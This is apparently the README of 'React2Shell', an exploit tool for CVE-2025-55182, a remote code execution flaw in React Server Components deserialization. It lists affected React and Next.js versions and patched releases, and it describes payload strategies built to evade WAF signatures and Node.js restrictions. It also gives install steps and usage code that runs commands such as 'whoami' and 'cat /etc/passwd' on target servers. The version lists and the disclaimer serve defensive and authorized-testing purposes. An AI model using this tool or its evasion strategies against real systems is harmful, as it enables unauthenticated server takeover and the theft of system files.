React2Shell (CVE-2025-55182) 概念验证 (PoC) 漏洞利用程序,演示了使用 React 服务端组件 (RSC) 的现代 Web 框架中的一个严重远程代码执行 (RCE) 漏洞。
React2Shell 是一个概念验证(PoC)漏洞利用,演示了在使用React服务端组件(RSC) 的现代Web框架中的一个严重远程代码执行(RCE)漏洞。
该PoC针对**CVE-2025-55182,这是一个CVSS 10.0漏洞,允许未经认证的远程攻击者**通过React服务端组件实现中的不安全反序列化执行任意系统命令。
React2Shell 利用了一个缺陷,该缺陷存在于React服务端组件在重新水合阶段处理不受信任输入的方式中。
| 指标 | 详细 |
|---|---|
| 严重性 | 严重(10.0 / 10.0) |
| 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 攻击向量 | 网络(远程) |
| 用户交互 | 无 |
该漏洞源于底层的react-server-dom-*包,这些包负责序列化和反序列化组件树。
使用受影响版本的React服务端组件的应用程序,可能会以导致在服务器进程权限下进行远程代码执行(RCE) 的方式处理恶意有效载荷。
攻击者可以:
如果您的部署匹配以下任何受影响版本且暴露了RSC端点,则您存在漏洞。
该漏洞存在于版本19.0.0、19.1.0、19.1.1 和 19.2.0 的以下包中:
react-server-dom-parcelreact-server-dom-webpackreact-server-dom-turbopack这些包被捆绑到多个框架中,包括但不限于:
15.0.0至16.0.614.3.0-canary.76之后的Canary版本RSC(v19.0.0–19.2.0)的其他框架,例如:
ViteParcelReact RouterRedwoodSDKWaku任何嵌入受影响React服务端组件实现的框架都可能受到影响。
React2Shell 包含一个模块化有效载荷生成器,旨在绕过常见的Node.js限制和WAF规则:
标准注入
process.mainModule.requireNext.js/Webpack打包。异步绕过
require不可用的严格ESM环境中使用动态import()。混淆
child_process)编码为十六进制缓冲区,以规避简单的WAF签名。模块回退
module.createRequire在替代上下文中加载模块。通用目标
//RSC/foo.txt这样的RSC端点Node.js v18.0.0 或更高版本。git clone https://github.com/rsch-io/CVE-2025-55182-React2Shell.git
cd CVE-2025-55182-React2Shell
npm install form-data
React2Shell 旨在作为模块导入到您自己的测试脚本中。
创建一个名为exploit.js的文件:
const React2Shell = require('./src/react2shell');
// 使用目标基础URL进行初始化
const target = new React2Shell('http://localhost:3000');
// 使用"standard"策略执行命令
// 参数:execute(command, endpoint, strategy)
target.execute('whoami', '/', 'standard');
然后运行:
node exploit.js
注意
endpoint应设置为启用RSC的路由(例如,/、/RSC/foo.txt或框架特定的RSC端点)。strategy可以更改(例如,standard、async、obfuscated或react2shell中实现的任何其他策略)。
Waku和其他框架通常在特定路由上暴露RSC处理:
// 针对Waku应用程序
// 注意:使用'async'策略,因为Waku通常在严格ESM模式下运行
target.execute('ls -la', '/RSC/foo.txt', 'async');
如果服务器阻止包含child_process的字符串,您可以使用obfuscated策略:
target.execute('cat /etc/passwd', '/', 'obfuscated');
立即更新。已更新的React及受影响下游框架版本包含了对用户输入的加固处理,以防止意外行为。
所有用户应尽快升级到已修补版本。
以下是已修补版本的确定列表。如果您的部署版本低于以下版本,则您存在漏洞。
针对Next.js 14用户的警告 如果您使用的是
Next.js 14.3.0-canary.77或更高版本的canary发布,则您存在漏洞。 您必须立即降级到最新的稳定14.x版本,因为该漏洞影响那些canary构建中存在的实验性RSC实现。
本项目仅用于educational和授权的安全测试目的。
在未经明确许可的情况下对系统使用此工具是非法且不道德的。
作者对因使用此工具造成的任何滥用或损害不承担任何责任。
本项目采用MIT许可证授权。详见LICENSE文件。
| 软件/包 | 分支/类型 | 🛡️ 已修复/安全版本 |
|---|
React | 稳定版 | 19.0.1、19.1.2、19.2.1 |
Next.js | v15(稳定版) | 15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7 |
Next.js | v16(稳定版) | 16.0.7 |
Next.js | Canary | 15.6.0-canary.58 |